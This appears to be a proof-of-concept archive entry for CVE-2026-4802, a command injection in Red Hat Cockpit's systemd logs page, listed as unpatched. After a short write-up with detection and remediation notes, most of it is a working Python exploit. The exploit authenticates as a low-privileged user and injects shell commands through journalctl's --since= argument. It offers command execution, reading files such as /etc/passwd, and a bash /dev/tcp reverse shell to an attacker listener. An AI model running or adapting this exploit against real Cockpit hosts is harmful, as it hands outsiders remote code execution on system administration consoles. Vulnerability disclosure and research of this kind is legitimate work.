PoC Archive PoC Archive
High CVE-2026-4802 unpatched

Red Hat Cockpit `logsJournal.jsx` Shell Injection RCE (CVE-2026-4802)

by hakaioffsec (Hakai Security / QuimeraX Intelligence) · 2026-07-05

Severity
High
CVE
CVE-2026-4802
Category
web
Affected product
Red Hat Cockpit — the web-based Linux system administration console (cockpit-project.org), specifically pkg/systemd/logsJournal.jsx. **Not** to be confused with the headless "Cockpit CMS".
Affected versions
Unpatched Cockpit versions containing the vulnerable loadServiceFilters() logic in pkg/systemd/logsJournal.jsx
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcherhakaioffsec (Hakai Security / QuimeraX Intelligence)
CVE / AdvisoryCVE-2026-4802
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagscockpit, redhat, shell-injection, command-injection, rce, websocket, systemd, journalctl
RelatedN/A

Affected Target

FieldValue
Software / SystemRed Hat Cockpit — the web-based Linux system administration console (cockpit-project.org), specifically pkg/systemd/logsJournal.jsx. Not to be confused with the headless “Cockpit CMS”.
Versions AffectedUnpatched Cockpit versions containing the vulnerable loadServiceFilters() logic in pkg/systemd/logsJournal.jsx
Language / PlatformCockpit frontend in JavaScript/JSX driving server-side shell execution over the Cockpit WebSocket protocol; PoC written in Python (asyncio + websockets)
Authentication RequiredYes (a low-privileged authenticated user, e.g. viewer)
Network Access RequiredYes

Summary

Cockpit’s systemd logs page builds a journalctl invocation from URL-fragment-derived filter parameters (such as --since=) inside loadServiceFilters(). The resulting argument array is joined into a single shell string with only whitespace escaping and then executed via /bin/bash -ec, so shell metacharacters — notably command substitution $(...) — are not neutralized. Any authenticated user who can reach the logs page (even a low-privileged viewer account) can inject and execute arbitrary shell commands on the Cockpit host through this path.


Vulnerability Details

Root Cause

loadServiceFilters() in pkg/systemd/logsJournal.jsx constructs the journalctl command line by joining an array of arguments (including a --since=<value> filter sourced from the logs page URL fragment) with " ", escaping only literal spaces in each token before handing the full string to /bin/bash -ec. Because shell metacharacters like $(...) are not escaped, an attacker-controlled --since=$(shell command) value is executed as a real command substitution by bash.

Attack Vector

  1. Attacker authenticates to the Cockpit web console as any user with access to the systemd logs page (e.g. viewer).
  2. Attacker obtains a Cockpit session cookie via /cockpit/login and opens a WebSocket connection to /cockpit/socket using the cockpit1 subprotocol.
  3. Attacker opens a spawn channel that runs /bin/bash -ec "<journalctl invocation with --since=$(payload) >file>", mirroring what the vulnerable loadServiceFilters() logic would build from a crafted logs-page URL fragment.
  4. Bash evaluates the $(payload) command substitution embedded in the --since= filter before journalctl ever runs, executing the attacker’s shell command on the host.
  5. Attacker reads back command output/results via a second spawn channel (e.g. cat on the output file), or pivots directly to a reverse shell.

Impact

Authenticated remote code execution as the Cockpit bridge/session user on the host running Cockpit — a system administration console that typically has significant control over the underlying OS (services, users, storage), making this a high-value target for privilege escalation and lateral movement.


Environment / Lab Setup

Target:   Cockpit web console (vulnerable build), exposed on :9090 (Dockerfile provided builds a vulnerable container)
Attacker: Python 3 with `websockets` library, valid Cockpit credentials (e.g. viewer/viewer)

Proof of Concept

PoC Script

See poc.py (and Dockerfile to build a vulnerable test target) in this folder.

1
2
3
4
5
6
7
8
docker build -t cockpit-vuln .
docker run --rm -d --privileged -p 9090:9090 cockpit-vuln

python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode check

python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode exec --cmd "id"

python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode reverse --lhost 10.0.0.1 --lport 4444

The script authenticates over HTTP Basic auth to obtain a session cookie, opens the Cockpit WebSocket channel, and spawns /bin/bash -ec with a journalctl --since=$(...) payload embedding the attacker’s command; check mode verifies exploitation by reading back a marker file, exec returns command output, and reverse sends a bash reverse-shell one-liner.


Detection & Indicators of Compromise

Signs of compromise:

  • Bash or shell processes spawned as children of the Cockpit bridge shortly after logs-page WebSocket activity
  • Unexpected outbound connections (reverse shells) originating from the Cockpit host
  • Log entries or files created by commands embedded in journalctl --since= parameters

Remediation

ActionDetail
Primary fixApply the vendor patch for CVE-2026-4802 once released; ensure loadServiceFilters() passes arguments to journalctl as an argv array (no shell interpretation) rather than a concatenated shell string
Interim mitigationRestrict Cockpit access to trusted admin networks/VPN, disable or limit access to the systemd logs page for low-privileged accounts, and monitor for anomalous child processes of the Cockpit bridge

References


Notes

Mirrored from https://github.com/hakaioffsec/CVE-2026-4802 on 2026-07-05. Note: the target is Red Hat’s Cockpit web administration console (cockpit-project.org), not the unrelated headless “Cockpit CMS” product.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
#!/usr/bin/env python3 -u
from __future__ import annotations

import argparse
import asyncio
import base64
import json
import os
import socket
import sys
import urllib.request
from urllib.parse import urlparse

from websockets.asyncio.client import ClientConnection, connect
from websockets.typing import Subprotocol

os.environ["PYTHONUNBUFFERED"] = "1"

banner: str = """
_____________________________________________________________________________________
______  ___  _________ ___ ____  _____
___  / / /_/   |___/ //_/_/   |__/   _/ / Cockpit Comand injection loadServiceFilters/
__  /_/ /__ /| |__  , <__  /| |  _/ /  /                                           /
_  __  /_  ___ |_  /| |_  ___ |__/ /  /     https://hakaisecurity.io              /
/_/ /_/ /_/  |_|/_/ |_|/_/  |_|/___/ /                                           /
________________________________________________________________________________
"""


def authenticate(base_url: str, user: str, password: str, proxy: str | None = None) -> str:
    token: str = base64.b64encode(f"{user}:{password}".encode()).decode()
    req: urllib.request.Request = urllib.request.Request(
        f"{base_url}/cockpit/login",
        headers={"Authorization": f"Basic {token}"})
    if proxy:
        handler = urllib.request.ProxyHandler({"http": proxy, "https": proxy})
        opener = urllib.request.build_opener(handler)
        resp = opener.open(req)
    else:
        resp = urllib.request.urlopen(req)
    cookie: str = resp.headers.get("Set-Cookie", "").split(";")[0]
    if not cookie:
        raise RuntimeError("No session cookie returned")
    return cookie


def build_injection(shell_cmd: str) -> str:
    payload: str = f"$({shell_cmd})"
    args: list[str] = [
        "journalctl", "-q", "--no-tail", "--output=verbose",
        "PAYLOAD_PLACEHOLDER", "--priority=err", "--reverse", "--"]
    cmd: str = " ".join(i.replace(" ", "\\ ") for i in args)
    cmd = cmd.replace("PAYLOAD_PLACEHOLDER", f"--since={payload}")
    return "set -o pipefail; " + cmd + " | grep SYSLOG_IDENTIFIER= | sort -u"


def _proxy_tunnel(proxy: str, target_host: str, target_port: int) -> socket.socket:
    p = urlparse(proxy)
    sock = socket.create_connection((p.hostname or "127.0.0.1", p.port or 8080))
    connect_req = f"CONNECT {target_host}:{target_port} HTTP/1.1\r\nHost: {target_host}:{target_port}\r\n\r\n"
    sock.sendall(connect_req.encode())
    resp = sock.recv(4096)
    if b"200" not in resp:
        raise RuntimeError(f"Proxy CONNECT failed: {resp.decode()}")
    return sock


async def ws_connect(base_url: str, cookie: str, proxy: str | None = None) -> ClientConnection:
    ws_url: str = base_url.replace("http", "ws", 1) + "/cockpit/socket"
    headers = {"Cookie": cookie, "Origin": base_url}
    protos = [Subprotocol("cockpit1")]
    if proxy:
        target = urlparse(base_url)
        host: str = target.hostname or "localhost"
        port: int = target.port or (443 if target.scheme == "https" else 80)
        sock = _proxy_tunnel(proxy, host, port)
        ws = await connect(ws_url, additional_headers=headers,
                           subprotocols=protos, sock=sock)
    else:
        ws = await connect(ws_url, additional_headers=headers,
                           subprotocols=protos)
    await ws.send("\n" + json.dumps({
        "command": "init", "version": 1,
        "channel-seed": "poc", "host": "localhost"}))
    await asyncio.wait_for(ws.recv(), timeout=10)
    return ws


async def ws_spawn(ws: ClientConnection, channel: str, spawn_args: list[str],
                   superuser: str = "try") -> str:
    await ws.send("\n" + json.dumps({
        "command": "open", "channel": channel,
        "payload": "stream",
        "spawn": spawn_args,
        "superuser": superuser}))

    result: str = ""
    try:
        for _ in range(15):
            msg = await asyncio.wait_for(ws.recv(), timeout=5)
            if isinstance(msg, str) and not msg.startswith("\n"):
                parts: list[str] = msg.split("\n", 1)
                if len(parts) > 1 and parts[0] == channel:
                    result += parts[1]
    except (asyncio.TimeoutError, Exception):
        pass
    return result


async def mode_check(base_url: str, cookie: str, proxy: str | None = None) -> None:
    print("[*] CHECK verifying command injection\n")
    proof: str = "/tmp/cockpit-rce-check"
    cmd: str = build_injection(f"id>{proof}")
    print(f"  injection: --since=$(id>{proof})")
    print(f"  bash cmd : {cmd[:80]}...\n")

    ws: ClientConnection = await ws_connect(base_url, cookie, proxy)
    await ws_spawn(ws, "inject", ["/bin/bash", "-ec", cmd])
    await asyncio.sleep(1)
    result: str = await ws_spawn(ws, "read", ["cat", proof])
    await ws.close()

    if result and result.strip():
        print("  [!] VULNERABLE RCE confirmed")
        print(f"  {result.strip()}")
    else:
        print("  [-] Not exploitable (proof file not created)")
        sys.exit(1)


async def mode_exec(base_url: str, cookie: str, shell_cmd: str, proxy: str | None = None) -> None:
    print(f"[*] EXEC {shell_cmd}\n")
    outfile: str = "/tmp/.cockpit-rce-out"
    cmd: str = build_injection(f"{shell_cmd}>{outfile}")

    ws: ClientConnection = await ws_connect(base_url, cookie, proxy)
    await ws_spawn(ws, "inject", ["/bin/bash", "-ec", cmd])
    await asyncio.sleep(1)
    result: str = await ws_spawn(ws, "read", ["cat", outfile])
    await ws.close()

    if result:
        print(result.rstrip())
    else:
        print("  [-] No output (command may have failed)")


async def mode_reverse(base_url: str, cookie: str, lhost: str, lport: int, proxy: str | None = None) -> None:
    print(f"[*] REVERSE SHELL {lhost}:{lport}\n")
    revshell: str = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    cmd: str = build_injection(revshell)
    print(f"  [*] Start listener first: nc -lvnp {lport}")
    print("  [*] Sending payload...\n")

    ws: ClientConnection = await ws_connect(base_url, cookie, proxy)
    try:
        await ws_spawn(ws, "inject", ["/bin/bash", "-ec", cmd])
    except Exception:
        pass
    await ws.close()
    print("  [*] Payload sent")


def main() -> None:
    print(banner)
    p: argparse.ArgumentParser = argparse.ArgumentParser(
        description="CVE-2026-4802 Cockpit RCE via loadServiceFilters() command injection",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""examples:
  %(prog)s --url http://localhost:9090 --user viewer --pass viewer --mode check
  %(prog)s --url http://localhost:9090 --user viewer --pass viewer --mode exec --cmd "id"
  %(prog)s --url http://localhost:9090 --user viewer --pass viewer --mode exec --cmd "cat /etc/passwd"
  %(prog)s --url http://localhost:9090 --user viewer --pass viewer --mode reverse --lhost 10.0.0.1 --lport 4444
        """
    )
    p.add_argument("--url", required=True, help="Cockpit base URL")
    p.add_argument("--user", required=True, help="Cockpit username")
    p.add_argument("--pass", dest="password", required=True, help="Cockpit password")
    p.add_argument("--mode", choices=["check", "exec", "reverse"], default="check",
                   help="Exploit mode (default: check)")
    p.add_argument("--cmd", default="id", help="Shell command for exec mode")
    p.add_argument("--lhost", help="Listener host for reverse mode")
    p.add_argument("--lport", type=int, help="Listener port for reverse mode")
    p.add_argument("--proxy", help="HTTP proxy (e.g. http://127.0.0.1:8080)")
    args: argparse.Namespace = p.parse_args()
    base: str = args.url.rstrip("/")

    print(f"[*] Target: {base}")
    if args.proxy:
        print(f"[*] Proxy:  {args.proxy}")
    print(f"[*] Auth:   {args.user}:{'*' * len(args.password)}\n")

    try:
        cookie: str = authenticate(base, args.user, args.password, args.proxy)
        print(f"[+] Authenticated ({cookie[:40]}...)\n")
    except Exception as e:
        print(f"[!] Auth failed: {e}")
        sys.exit(1)

    if args.mode == "check":
        asyncio.run(mode_check(base, cookie, args.proxy))
    elif args.mode == "exec":
        asyncio.run(mode_exec(base, cookie, args.cmd, args.proxy))
    elif args.mode == "reverse":
        if not args.lhost or not args.lport:
            print("[!] --lhost and --lport required for reverse mode")
            sys.exit(1)
        asyncio.run(mode_reverse(base, cookie, args.lhost, args.lport, args.proxy))


if __name__ == "__main__":
    main()